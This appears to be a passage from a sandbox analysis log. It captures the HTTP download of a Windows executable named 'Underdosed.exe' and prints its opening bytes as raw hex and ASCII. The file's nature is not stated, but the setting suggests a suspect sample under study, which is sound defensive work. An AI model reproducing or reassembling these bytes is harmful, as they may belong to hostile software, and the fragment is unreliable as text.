2021-12-01 08:15:22 UTC	390	IN	HTTP/1.1 200 OK Date: Wed, 01 Dec 2021 08:15:22 GMT Content-Type: application/x-msdos-program Content-Length: 4443648 Connection: close CF-Ray: 6b6ade07cc1a690a-FRA Accept-Ranges: bytes Age: 125436 Cache-Control: public, max-age=31536000 Content-Disposition: attachment;%20filename=Underdosed.exe ETag: "a8b80e8e3832274bb25102006efcd679" Expires: Thu, 01 Dec 2022 08:15:22 GMT Last-Modified: Mon, 29 Nov 2021 21:11:39 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" x-goog-generation: 1638220299319325 x-goog-hash: crc32c=CQNrcQ== x-goog-hash: md5=qLgOjjgyJ0uyUQIAbvzWeQ== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 4443648 X-GUploader-UploadID: ADPycduwbstlggM3jI-ir72jxSYkYcT3Z6YJrEXHTEmKajSq5WdyudK_L2b9dTu4uVAKKOfF-jKATwi7hjdkJwc4V_G_OGpZJA X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
2021-12-01 08:15:22 UTC	391	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 33 3f 73 3d 48 78 44 38 47 6f 53 44 66 25 32 46 63 62 59 46 25 32 46 72 4f 6b 75 5a 6a 61 55 79 55 78 4f 72 79 7a 79 4d 6d 30 72 34 56 65 38 4f 33 32 44 6c 46 6c 37 25 32 42 33 58 72 42 50 6c 35 58 31 52 33 35 44 31 59 34 72 54 36 61 78 35 52 59 34 71 57 37 31 25 32 46 57 4e 53 42 61 43 6b 4a 76 71 6e 51 53 41 73 30 32 6d 46 51 42 69 48 6b 30 37 66 6a 37 78 73 56 49 30 49 32 72 4d 30 25 32 42 62 39 68 4e 6d 79 7a 73 58 56 4c 6c 64 6e 35 41 25 33 44 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=HxD8GoSDf%2FcbYF%2FrOkuZjaUyUxOryzyMm0r4Ve8O32DlFl7%2B3XrBPl5X1R35D1Y4rT6ax5RY4qW71%2FWNSBaCkJvqnQSAs02mFQBiHk07fj7xsVI0I2rM0%2Bb9hNmyzsXVLldn5A%3D%3D"}],"group":"cf-nel","max_a
2021-12-01 08:15:22 UTC	391	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 03 00 b5 41 a5 61 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 08 00 00 98 01 00 00 32 42 00 00 00 00 00 00 00 00 00 00 c0 3b 00 00 00 40 00 00 00 00 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 44 00 00 04 00 00 00 00 00 00 02 00 60 85 00 00 40 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 20 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEdAa"2B;@ D`@@
2021-12-01 08:15:22 UTC	393	IN	Data Raw: 3a 89 89 c4 c4 d9 92 78 82 b7 f5 50 2d c3 56 d1 3e ad 09 82 5b dc ee 75 e4 65 e2 be 7f ce 45 90 2d f2 f4 82 dc 14 06 78 60 70 c0 d7 c9 15 ee 1c 6f 09 79 e9 72 3e 26 b7 e3 a9 d8 d4 53 0e fb b2 a4 f0 26 63 ca af 5a 25 a4 71 f3 6f 7f f3 30 18 da 59 04 d7 a8 76 ae 84 36 3b 95 f7 2c 1e c9 4b e6 60 3d 38 32 10 da 76 5c 3d 74 e0 c8 64 91 a2 2e 43 14 f4 57 bc b3 ce 1f bb 45 58 cf 7c de f0 94 7f 08 bd 35 72 94 c0 78 c4 24 5d 67 27 40 24 e3 c7 91 e0 39 96 c8 cd d9 26 81 3c 52 7a 89 a0 ce 4c e1 b6 96 09 b6 bd 0a 7d 17 38 18 29 e3 35 c7 9d 0e dd 82 f1 0a f7 e6 51 fb d7 0c 23 65 ea 9b e5 2b e5 8d f6 1b 41 1f 49 ff be 24 12 14 5e d6 3e ad cb 07 13 50 b0 87 9b 0a 2d 6d 07 96 c7 6d 01 79 9e 99 8a af 31 c9 36 72 ec 90 da 92 e1 48 ea 4b 7f 30 7b 15 51 2a b4 12 b6 67 b5 2d Data Ascii: :xP-V>[ueE-x`poyr>&S&cZ%qo0Yv6;,K`=82v\=td.CWEX\|5rx$]g'@$9&<RzL}8)5Q#e+AI$^>P-mmy16rHK0{Q*g-
2021-12-01 08:15:22 UTC	394	IN	Data Raw: 6d f8 c0 27 ad 14 d3 5e bc 78 fc 8c 60 49 ce 1f 10 10 a7 c8 ef 6a 77 05 24 cb 35 69 b2 76 5e 16 3e e9 32 46 78 0e c2 89 98 f2 82 a6 0d 87 71 6f 2d 2b 00 09 7c 7f 39 ec c4 f7 79 3e 92 f3 b1 32 81 18 ce cb 1d ae c7 10 d8 c4 31 b2 8b 55 bf cf 02 69 29 b0 b0 eb 25 5c d7 ee 64 fe c4 ed 50 e4 db 54 6f 4a d6 ef 36 6b ff ad 8d f4 e2 b6 09 64 f8 16 9b 28 a5 0c fa 0a 81 92 d6 69 2e a7 1a 37 69 27 86 e5 9c 20 b5 83 34 90 bf 15 fa 29 87 b9 66 22 2e bb e1 f0 ff cc 9e c5 98 57 ad 1c 56 e7 fb 38 eb 25 9e 4e 87 f2 b9 35 10 19 b6 cd 59 1f ae 39 86 75 bb 4d 5b 1a 69 ed b0 65 75 2d 62 9e 39 5e 4f 22 4e dd 13 c6 0d a9 27 a2 53 b3 74 48 e1 dc 1d d9 4e 33 80 37 20 16 34 99 f9 da 62 7a ae b3 fb fd 4d 4d 91 6c f5 7c a5 ad 45 9f f4 ce bc c8 38 cd f9 fb 34 f1 10 09 5c 4d d9 1f 1b Data Ascii: m'^x`Ijw$5iv^>2Fxqo-+\|9y>21Ui)%\dPToJ6kd(i.7i' 4)f".WV8%N5Y9uM[ieu-b9^O"N'StHN37 4bzMMl\|E84\M
2021-12-01 08:15:22 UTC	395	IN	Data Raw: df db 83 b5 31 34 74 62 50 15 6d e5 84 67 87 ee 04 07 da 9a 2c 79 5f 4e 50 fa 49 82 79 58 16 8b d5 36 bc ee e7 ff 72 eb 89 ec c5 09 e6 2d c0 63 47 aa c4 9b 1c b9 3b 74 f0 99 18 33 93 00 1a 6f 5f 73 90 5c 8f 59 a7 4d f4 6f 2c 45 e0 0e a8 67 81 a0 cb ee 4e 66 1b cd 42 a9 9e a9 39 c0 dd 91 65 4a 2a 5f 44 09 02 61 6b 45 d0 4d a4 4e f9 60 b9 fb e8 01 45 8f b6 65 09 5d e6 00 bd 4d 98 6a a7 67 69 1d f8 fa 49 55 9a a9 d9 9d 81 12 e5 22 ec 1c fb 22 28 c2 b0 1a ce ae 8e 24 ac 59 a1 1d 8d e1 77 93 32 15 89 78 ee b1 4d 31 6e b9 22 a2 2d e5 8a fc aa 2b a4 78 57 0f fd fc 8c e7 27 2a 83 8e 67 c2 02 7c e9 39 f9 61 1c e8 81 63 62 51 a7 02 0c 10 f5 7d 0e 93 31 cb b4 ca 47 33 fe d7 b6 57 d6 9b 15 a8 30 56 36 de ac 81 30 65 5a 08 5b df b0 88 18 d0 66 4e 54 a8 4d b3 03 35 06 Data Ascii: 14tbPmg,y_NPIyX6r-cG;t3o_s\YMo,EgNfB9eJ_DakEMN`Ee]MjgiIU""($Yw2xM1n"-+xW'g\|9acbQ}1G3W0V60eZ[fNTM5
2021-12-01 08:15:22 UTC	397	IN	Data Raw: 34 42 a0 ee ae 6b 97 ac 1c 92 fd eb 77 85 9d 48 16 d2 42 42 0e 7c dd 14 fd 6f fe ec 46 99 77 86 e9 0a 46 67 e9 78 23 32 1a 4c bd 20 b0 8f af 92 dd 0b 6a 7c 6b f7 f8 07 36 49 f5 ff 61 d2 e9 da bd f5 f7 8c d3 9d bc 15 58 9e ca d7 8f 2b 8a 88 4e f0 15 ad 72 bb 42 15 64 02 90 77 13 29 95 09 7e 85 65 c7 8a 2d 8a 0e 78 50 8e b1 84 92 b3 78 00 d4 68 6e 30 ab 8f f1 81 4a 4b b5 0b 88 dc 5b 86 97 35 b4 47 63 8e 72 e3 73 6a 88 37 14 9c d4 5a 3b a8 ae ce 3e b1 75 89 a6 ae c9 f2 9f f6 3d 24 6b 4f 26 b5 9f 60 13 87 21 75 ba 9b 44 7d 6a 80 18 f6 93 16 7c ff 2d 94 f5 15 04 d6 78 75 ea ea 88 93 7e 0b cb 87 c6 f0 35 3d d3 6a bb 24 d1 31 d8 b4 0f 0a ec 1c 01 6e 1a 19 03 52 c6 e8 bc 04 6d 3d cc b2 fb 86 b9 0f 5f 24 31 eb 1c f9 9d 7d d7 fa e9 0b 7c 78 c1 bd 2a 59 68 4b 6d dc Data Ascii: 4BkwHBB\|oFwFgx#2L j\|k6IaX+NrBdw)~e-xPxhn0JK[5Gcrsj7Z;>u=$kO&`!uD}j\|-xu~5=j$1nRm=_$1}\|x*YhKm
2021-12-01 08:15:22 UTC	398	IN	Data Raw: 0c da ab 4a df 30 48 24 5f 00 36 93 e8 05 62 a0 c3 08 42 5b fd dd 6d ba ab 50 9e c5 b0 ca b7 85 53 c5 ac c1 65 16 78 99 fc 80 73 e1 a7 dd a3 bb 7d ca ab 4f e4 ba 0c ef ee 7a 16 6b b3 98 09 bd 95 29 eb 92 0a 48 b4 75 0b 4c 64 be 81 a8 ae a0 be 85 3f 84 02 04 96 ae b0 af 7c 49 61 00 93 4d 42 96 85 46 ec 0a ce 80 47 57 b6 22 6e d2 2e 24 e6 53 96 9c 54 eb 0a 68 61 f8 7f 9b b5 6d 14 8e a0 fa 5f c9 f6 6f 32 f9 30 2e 3d a7 30 77 e0 e9 e0 29 6a ee 34 4e 97 6a 11 25 68 bf fa 08 c2 ca 10 72 52 1b a7 3d fc 41 a0 84 ea 43 c4 e6 4f f5 ff 42 e2 2d 4b 92 06 15 7a 45 24 6a 32 ac ab db 38 b5 15 27 ce 80 b9 6c f7 98 28 fe 89 02 4f 48 96 f5 5d bb 3a 70 bc da 54 4a 28 fc b1 c4 ea 0f 57 9f 55 00 81 18 4f 6d 41 e0 81 8f a2 f4 45 e3 69 a7 f9 86 ea d3 a6 a9 f0 cb 4a 14 b5 f6 a1 Data Ascii: J0H$_6bB[mPSexs}Ozk)HuLd?\|IaMBFGW"n.$STham_o20.=0w)j4Nj%hrR=ACOB-KzE$j28'l(OH]:pTJ(WUOmAEiJ
2021-12-01 08:15:22 UTC	399	IN	Data Raw: c5 b0 27 a7 dc f2 ff 70 d1 94 48 75 12 36 44 bc ca 0f 91 8a 73 33 c0 7b c6 1b 57 68 cc f6 40 0e 36 49 3b 24 ff 37 f5 1d 1c be 21 ab fe 0d b7 af 2f f4 52 4d ac 1c b3 46 2f 50 59 4c cf 9c 7d 6b 84 2d 8e 5c b3 d2 45 4f 98 8e 94 e4 38 26 39 c5 f3 ad 81 f7 6c 58 64 e3 32 d4 aa 44 6e 37 6e 94 03 8b ad 4a 6d f6 db 58 95 78 2f cb 7e a8 34 25 e4 9b 15 85 e8 e9 68 1b e2 6f b4 52 72 8d f4 07 c9 91 b1 3a 8c 6b ca 22 b8 90 72 1f 23 ff 3e bd 39 38 99 4d 6b 19 3c 3e d3 e7 65 5f 5c 98 f7 78 24 4f e9 b5 e2 18 0a 60 1c db a9 4d a9 9d 10 b1 d9 47 cc 9f 95 df d1 12 4e c7 90 51 a0 0e 6b 4e b3 61 17 f6 b8 6b 4f e5 66 7d 5d 96 1c 7f b5 a0 24 c2 56 10 e9 2f 07 e5 a9 a0 91 21 79 2d eb 67 7e 42 5c 9e 9c 24 8c 6c 7a 63 38 a2 20 d8 1f a1 3c 30 5b d3 6b b3 98 9d e2 8b e2 96 c5 7f 23 Data Ascii: 'pHu6Ds3{Wh@6I;$7!/RMF/PYL}k-\EO8&9lXd2Dn7nJmXx/~4%hoRr:k"r#>98Mk<>e_\x$O`MGNQkNakOf}]$V/!y-g~B\$lzc8 <0[k#
2021-12-01 08:15:22 UTC	401	IN	Data Raw: fd 25 54 54 8e 37 58 88 b9 45 ef c4 48 fe 18 5e 3c 99 3e 3e 16 5f 28 2c dd 68 c5 1f ab bf 74 ae 60 85 5b fe d7 25 a8 c0 8b e8 9e b1 90 ff c4 d8 65 7c b9 1b 43 1c 1b 17 c1 c9 c5 8d 2a a5 ed 2d 87 9b 70 0b ca 17 55 5c 94 00 70 61 fc e3 37 8c 73 d4 08 69 0d ce 55 cf ff a3 8e 08 9a ae 21 df c4 b1 e3 51 03 43 0a 49 b8 dc 1f d4 db 5d fe be cc 95 76 56 60 a4 45 d5 d7 40 13 54 5e 76 38 53 c4 5d d8 d2 ec db cb 24 a8 c6 0f 5b 28 49 f7 de cb 99 6f 62 41 c5 7b 08 72 33 9c 20 a6 86 ad 58 ed 27 20 55 7a dd 70 f7 1c 40 bb 43 30 5a ee b1 da 69 50 12 20 ea 7e 9a 23 50 ef 98 b4 32 b8 ca 85 ac 1f 6a f5 63 4e 50 fb c2 9c 65 5e ba 38 20 27 1f ea 7e bf 48 7f 60 54 9a 26 0b 14 4f 5c 2f f0 11 20 d8 06 b4 0b 9e 48 c4 46 fa 9d 7a 8d 49 ba a2 51 f0 d5 61 3b 02 f0 78 8e 6b 24 cc d3 Data Ascii: %TT7XEH^<>>_(,ht`[%e\|C*-pU\pa7siU!QCI]vV`E@T^v8S]$[(IobA{r3 X' Uzp@C0ZiP ~#P2jcNPe^8 '~H`T&O\/ HFzIQa;xk$
2021-12-01 08:15:22 UTC	402	IN	Data Raw: aa 4b e3 34 90 c1 89 2f b6 b3 0c e3 ae 24 27 79 ea 50 da 1d a0 ab 63 71 16 e7 d3 e9 b5 2b 3e 77 10 ea ba d7 e6 67 1d c7 ee f1 58 29 1d 0d 52 a0 ed d9 26 78 c1 93 ca f9 2f cb ec ac 56 1b 1d 8c db cf b1 00 0b 92 e6 d2 6f db 54 a2 21 2e af c6 ac 25 ae d5 fa cc 9e 1a c4 05 57 89 09 16 79 8f 72 0c a3 e0 6d b3 c3 da 45 ee 7d 04 26 2d 3a aa aa 2d a2 b0 44 0b 19 cc 4e 05 e5 0f d1 17 c6 8e ad d2 3b 0c 5e 79 a1 3a a2 78 bf c7 79 da 64 a4 73 05 33 d5 fa 7e 12 56 95 61 48 be 7d 94 01 8c 15 aa 5e 22 96 2a cd be 4a d5 23 e0 3e 12 bc 5f c8 33 70 85 25 dc eb 55 df 70 22 91 2b fb c6 55 42 cc fe 3a 1b 7b c7 58 2f 73 b7 ed 72 7e 98 36 7b 63 2f 62 01 e5 cc 9c 1e b0 ca 01 ee a0 ce 2a 91 84 95 2e 15 21 a4 ff f1 ee 93 08 06 49 13 f7 ec a2 fe 26 1b 90 a2 1e 2b f5 bd f4 db 6c f0 Data Ascii: K4/$'yPcq+>wgX)R&x/VoT!.%WyrmE}&-:-DN;^y:xyds3~VaH}^"J#>_3p%Up"+UB:{X/sr~6{c/b.!I&+l
2021-12-01 08:15:22 UTC	403	IN	Data Raw: fc 4d 7e f8 3d d0 6b 0e cc c4 d7 42 e2 0b d9 75 7a ce f4 ff 6c 8e f7 08 85 b3 21 36 98 5d 4b 04 b6 19 72 27 44 e6 1c e1 de ea b7 de db 58 9e de bd 3c 27 f5 f5 b5 65 cf 2d 9a d4 fe 55 1d 8f e0 94 f0 f6 17 03 e5 2a cb 93 f5 8b 4e b7 76 4b 96 ab b4 cf 71 27 b0 ea 1a e3 cc 98 ca 7a e5 6f a4 09 b6 d6 e4 77 87 08 f4 04 fd 6c d0 ff 44 87 41 bf 48 f1 ce 7e 75 fb 73 67 90 e2 c4 90 e6 66 9f e3 15 be 3c 3c 8a de 00 59 3d e6 14 47 d7 48 5c 12 93 f2 72 bc b7 5a bc d7 ca d5 8e 91 4e 97 17 19 d3 c5 14 ed 88 5d 75 cd 9c a3 78 0a c5 99 4c a9 b4 85 10 61 b2 7a 3f a9 a1 80 be 4d 4b 73 52 85 4b 16 dd 60 0f 26 79 f7 20 19 05 9f 19 74 ec e4 10 68 25 c6 89 20 90 45 d2 4f a2 0d e0 c9 84 ca f6 29 c9 b4 36 d6 a1 92 7b 16 fa 42 5b 37 3e cd 35 66 04 46 4f 5a e2 5f d0 43 95 a2 ec fb Data Ascii: M~=kBuzl!6]Kr'DX<'e-U*NvKq'zowlDAH~usgf<<Y=GH\rZN]uxLaz?MKsRK`&y th% EO)6{B[7>5fFOZ_C
2021-12-01 08:15:22 UTC	405	IN	Data Raw: a5 05 e2 71 5c a3 1d cd e2 de e9 15 28 a4 d3 46 66 b2 b0 38 f7 f7 18 e4 c1 f8 f7 3f f1 d0 51 11 5d 63 8c 95 98 da 54 52 04 2f 29 d8 1e c8 79 ad fb da 58 b7 61 5c dd 81 b9 01 fe 68 1e 83 17 ec da 58 57 87 d6 46 c7 a4 24 8c a1 75 e9 bd e9 a0 82 94 e7 61 4b 19 3f 3c 86 b6 cc 26 7d 36 46 e0 50 75 4e 83 c2 f2 a0 c6 f0 79 b0 13 99 cb f7 fb 81 68 7a e0 45 b7 f4 4b 8a 6e c7 65 f9 5c 17 70 b6 65 69 67 59 82 95 fc bf de b2 ba 0c 62 8d 77 9c ea fd 5c a7 07 98 7f 9b b0 a0 6e 8c 8a c4 e6 87 d6 05 f9 39 bb 00 02 fc a1 fe f9 88 1c 68 15 c7 6d 61 64 24 d4 f3 21 c6 ad 94 06 3b 83 6f ef 3d 66 55 5f 4f d5 fb df c4 fc 4e 9f 8a 38 18 22 7e b2 7e 70 65 bd 4b 76 38 ef e3 97 f7 04 43 06 d0 ca 65 37 f6 9d 97 9e 2b 1f f8 17 77 f3 2e e9 cb aa c5 cc 7e 02 38 32 d1 44 d5 b0 81 54 1f Data Ascii: q\(Ff8?Q]cTR/)yXa\hXWF$uaK?<&}6FPuNyhzEKne\peigYbw\n9hmad$!;o=fU_ON8"~~peKv8Ce7+w.~82DT
2021-12-01 08:15:22 UTC	406	IN	Data Raw: 98 11 8c 60 bc 40 fc b7 e9 aa f6 31 87 4c c2 22 ca db 64 1d 1a 0e 1e fb 36 b4 f5 7c a7 ea 3b 95 f3 1a 94 17 15 c0 b8 43 35 d7 68 28 b6 b3 d3 d3 60 41 f1 bd 16 54 c8 52 64 ba 1f 7f 09 26 a0 31 9c 48 b4 b4 64 5e 49 08 4b c0 91 68 96 07 7c d4 a4 ba e2 25 4c 3b d2 28 d9 3d 9d 68 7c bc ca 5e 65 be 95 af 22 bd 3e a8 24 c1 39 81 93 11 e0 32 d0 fe ce 35 c6 37 f0 57 98 be f0 e8 bf 9b 99 7c 5f f1 7f 80 d9 90 85 ac f9 28 0f 40 10 34 8a 38 13 bd c7 47 a5 d3 49 2c d7 af be 75 08 8d 3d 8c ac 34 ab 8e 2a 01 d8 6a 23 b6 52 11 39 00 51 d6 4b 80 89 7b 67 bf 44 a6 56 1d b9 e2 a2 de fb 58 97 e3 f7 a0 f4 65 97 d3 c9 a1 b9 2e 78 af 57 f2 b7 b8 50 2c df df 65 e0 6c dc 65 1c 6d 9f 92 53 e0 27 aa da db d2 ca 2e c1 e4 ca e2 e7 10 3f 75 dc d4 63 34 bc e0 02 27 f4 b4 81 e3 27 fd 63 Data Ascii: `@1L"d6\|;C5h(`ATRd&1Hd^IKh\|%L;(=h\|^e">$9257W\|_(@48GI,u=4*j#R9QK{gDVXe.xWP,elemS'.?uc4''c
2021-12-01 08:15:22 UTC	407	IN	Data Raw: ed 94 e9 ec 48 14 37 cf 86 4f 84 d5 68 62 58 42 eb d1 2d 7f 31 dd 62 f9 c9 c4 0c 40 70 0d fd d1 fb 2b 47 43 bc 96 c3 76 35 93 78 82 76 7b 39 9f 2d 16 02 4e b8 60 d8 2f 93 d8 0e c0 94 df fc 5c 8b fd d5 54 0d 73 e7 0d d9 fb 4f fe 20 18 79 55 f6 da b1 3c 14 b6 19 9a bd d4 70 3a 58 33 c9 2f ab 69 63 6b 4e b3 21 44 42 c9 a8 64 a9 b3 7d 2c 57 9b 16 d8 b7 c9 5b 28 85 bf ac ea 15 8b ec 8f cf a4 59 dc 12 a6 7d f7 87 ad 95 5a 0b 97 38 5c d0 e9 1f dc ef f7 14 db 29 c4 74 c3 33 75 ea 85 ec 4a c6 7c 54 e3 d7 32 9b c8 4c 81 e3 26 97 f0 3c 59 2d 06 5e 15 a7 f6 31 3e b0 e4 9f ba 6e 8f 0a 93 ba 61 e5 23 23 6f 76 ff ca 8c 4f 23 d7 27 fb 72 10 3f d8 ce 8a cf cf f7 2b 29 c9 86 93 3c aa 15 15 16 b0 5d 5e 26 3e 32 94 a8 c4 77 f6 40 ae 7c 00 d6 88 76 ee dd a0 f0 73 29 1b cc b4 Data Ascii: H7OhbXB-1b@p+GCv5xv{9-N`/\TsO yU<p:X3/ickN!DBd},W[(Y}Z8\)t3uJ\|T2L&<Y-^1>na##ovO#'r?+)<]^&>2w@\|vs)
2021-12-01 08:15:22 UTC	409	IN	Data Raw: 26 ca 4b e4 f4 f6 08 f3 76 08 57 10 a4 6a 12 68 e1 c9 ff 51 48 f6 1c b8 54 8f f4 dc 30 af 0a cd 6b 4e 12 99 f9 ad 72 6d d4 b3 61 e4 64 89 a0 5d ed f1 3d ee e1 0d a8 20 37 2f c1 a2 0f c4 b3 aa 0a a4 37 96 4a 2d 3d ab 08 90 db 26 ea f5 ee 03 a6 dd 6d f0 e0 cf 68 88 42 62 36 b2 92 d5 33 2b 62 e6 f1 15 73 86 50 bf 6a 99 21 4b 40 7f 01 7d 8d ba d7 77 f5 8a 5d 04 52 a4 2d c2 f8 7d d5 fd 2b b0 2c 36 30 95 97 b5 7b 71 77 da 40 75 df ad 1c 7a a5 6e 28 8c 51 8c 51 76 b9 ab 91 68 4c cd bb 90 39 8d 3a 91 65 0b 9b 3f 73 27 f7 c8 34 19 85 2b 0e 28 a5 b3 6a c4 8c 58 76 6d f8 8b dd 80 77 6c 4c 4d 02 70 32 23 29 ef 33 90 15 c4 63 b5 fc b0 d1 97 2a b8 8e d8 cc ae 05 db da 0b 81 b4 2d 55 24 05 5b 99 d1 c8 d9 ba 00 f9 87 9e 8f ef 74 31 6e 2a 96 9f 8f 5d a9 6e 28 8e 25 97 68 Data Ascii: &KvWjhQHT0kNrmad]= 7/7J-=&mhBb63+bsPj!K@}w]R-}+,60{qw@uzn(QQvhL9:e?s'4+(jXvmwlLMp2#)3c-U$[t1n]n(%h
2021-12-01 08:15:22 UTC	410	IN	Data Raw: 2b 68 7a 81 e3 30 f5 23 ff df 76 53 35 eb 20 d7 53 54 2f 4d 56 af 91 30 07 e8 66 cc d9 13 62 8d eb 76 00 f2 f3 e1 01 d8 24 0f 69 44 82 29 d7 a1 1e 64 db c1 4c 63 0e 7c e2 03 b5 9a 99 49 87 3f e6 8e 7f e6 dd a2 31 b1 b9 db d1 74 73 c4 ff 0c 0b d5 7d 71 5e b0 1e c5 13 8a 9c 40 9b 5b 70 fe fc d2 a9 8f f5 b3 70 42 ae 9d cd 77 c3 55 dd 40 a7 53 c5 3d 21 e2 29 47 26 bc 35 f2 76 97 db 29 34 e9 ec 70 f7 ed d5 80 2a 04 55 8d 23 05 e9 0f d3 9c 0f 6e 0c 3a 67 17 65 f2 64 d5 d5 22 74 bd 95 eb a0 79 a4 89 d7 03 73 b8 db 1f 61 14 50 07 a4 6b 03 f3 95 77 63 88 37 25 3d 6e d5 60 9a 3e b6 00 60 01 56 79 cc d7 00 30 fc 4b cd d6 19 30 17 9e 12 75 1d 6a e3 24 32 0e d5 a7 96 d5 e6 05 41 cd ff 21 d0 31 e5 a3 25 0e 5b 49 29 d6 6e 57 2b e6 82 bf ed 8d d7 fe 14 ed 2b c9 2f 80 0a Data Ascii: +hz0#vS5 ST/MV0fbv$iD)dLc\|I?1ts}q^@[ppBwU@S=!)G&5v)4p*U#n:ged"tysaPkwc7%=n`>`Vy0K0uj$2A!1%[I)nW++/
2021-12-01 08:15:22 UTC	411	IN	Data Raw: 53 e0 e5 d8 91 4d 7d 55 6b 6f c7 07 6a d2 61 5e e5 70 99 0e 5f 39 6d 80 f9 82 9e 8d 75 99 ce ac 1f 41 8f d6 8e 92 74 00 85 87 8d 3e 82 16 b1 fc 26 8f 31 50 38 87 6e 5d 91 0e 9d bd 49 2d 18 21 af 1e 9f 96 6b 2d 7c 4b d2 17 7d cb ed b5 6c a7 bd 7c 9f ca 52 f5 c0 6f 85 d0 e2 99 8c fb a6 b6 bb 1a 93 49 82 d8 56 2b f4 96 b3 c4 58 93 89 7c 1d 15 87 2d b6 a0 17 5e 4a 52 b2 d0 97 27 f2 cd f1 a6 56 24 f0 7b b3 7a d2 87 f2 b1 22 6c c4 db 13 fd 39 5c 1a cf 2a 35 52 d2 90 63 b6 cd ef 23 d6 1b b4 23 c0 b6 b6 94 56 8c af 42 52 cd 94 f8 3e 37 4b 50 62 f6 86 bb db 3f a1 12 0d 5f 62 3c 3f 15 3c 81 08 f7 5e 7b 3b 9e 88 9d a7 e0 b1 38 81 f2 ce 02 0a da 47 c8 0f bd f9 60 f9 b6 79 41 68 72 69 b8 7b ba c4 c5 dd 4b e5 d2 6d ba 65 12 7f 1c 2b e4 ce cf cd bb 4c 74 21 67 2f d1 0d Data Ascii: SM}Ukoja^p_9muAt>&1P8n]I-!k-\|K}l\|RoIV+X\|-^JR'V${z"l9\*5Rc##VBR>7KPb?_b<?<^{;8G`yAhri{Kme+Lt!g/
2021-12-01 08:15:22 UTC	413	IN	Data Raw: c2 6d 89 ad a9 34 db 23 90 bd b9 f4 8d 0a e6 79 15 2c 7b 9d 2b 45 50 ce 93 56 c8 3a a0 4f 1b 77 33 d0 ea d0 46 24 71 af 64 77 f3 27 f6 ac 86 4c 62 a6 57 47 70 c9 6a ce 05 fc a9 0f 40 ca 2d 5a d7 79 31 52 2d 2c b5 06 4f fe 6c ca 81 50 66 18 1e 3b 91 96 ee cf 2b de 59 c2 8e c8 ba c2 ae 06 6e 7c 32 88 ac 0f f6 43 a0 71 ec 54 47 1b 4a 7c ea e1 6e 63 97 59 5b 15 d9 26 13 3d 9d 99 77 c1 18 c4 0d 19 0b 15 05 b4 20 59 a5 f0 8d f3 f4 37 38 8e 03 f7 5e 1d 5d 29 d1 a3 a1 72 fb 6a ad 21 15 dc f9 e9 11 7c 6e 0e fa 4b 93 ef 9a 2f 16 5b dd 6e 65 a8 86 f2 8b b7 c2 c5 98 c0 7e d2 7a 93 51 e2 c3 99 c7 45 5c 8e 2a 97 28 7c 5c 6a f7 7a c2 ad da c4 6d 15 37 d1 57 47 00 69 6c 50 b6 d1 33 0a 93 ed e4 c6 7c 5e ae 69 d7 8e ce 10 9f 83 cc 92 c2 81 3f a8 79 62 29 5d da a0 93 d5 02 Data Ascii: m4#y,{+EPV:Ow3F$qdw'LbWGpj@-Zy1R-,OlPf;+Yn\|2CqTGJ\|ncY[&=w Y78^])rj!\|nK/[ne~zQE\*(\|\jzm7WGilP3\|^i?yb)]
2021-12-01 08:15:22 UTC	414	IN	Data Raw: bd d2 a1 0c bf 66 46 09 d7 da f0 b3 7c f5 17 6f 49 7e 51 eb f2 8b ff 19 9f eb 03 5e 04 58 04 3f 03 95 94 82 34 34 c6 e5 7d 88 a2 01 6b 4f ed 14 da f9 ca 06 8a 8c ac 5d 85 8b d2 25 b4 72 b3 d0 77 f4 1e 7f 19 a6 20 59 09 3b 30 08 fb 42 7c b7 49 10 12 3a ed ae 00 6e b3 7f 26 8a 3c 85 cf 46 93 2f 33 2b 92 0a d7 34 ac 03 11 4f 36 75 73 e5 8d 7a c4 a0 2b a2 7e 70 26 0c ff 7e 94 de 13 4f ef 31 75 2a d5 33 f4 f7 35 95 82 fe 3e fb f1 7b f8 7d a6 55 ff 1b 04 46 e0 a0 73 2f 4f 6e 34 fb 70 b0 97 44 f9 17 05 2c 38 93 5b c4 1b 15 2a 10 66 b7 a6 d7 3b 78 64 13 ae 7f 6a ea ff ff c7 a4 42 18 65 fe 89 07 0b 35 b8 f6 54 2e 50 3c df 3e 27 05 6e 24 ed 54 16 c6 00 a2 64 8b 6e 15 a6 03 9c 15 e8 ee 3e 69 bf 18 76 fa c0 1d 4a 2c e3 8e 0b 0b 05 ce a8 9f 48 92 59 d8 74 02 65 a9 f2 Data Ascii: fF\|oI~Q^X?44}kO]%rw Y;0B\|I:n&<F/3+4O6usz+~p&~O1u35>{}UFs/On4pD,8[f;xdjBe5T.P<>'n$Tdn>ivJ,HYte
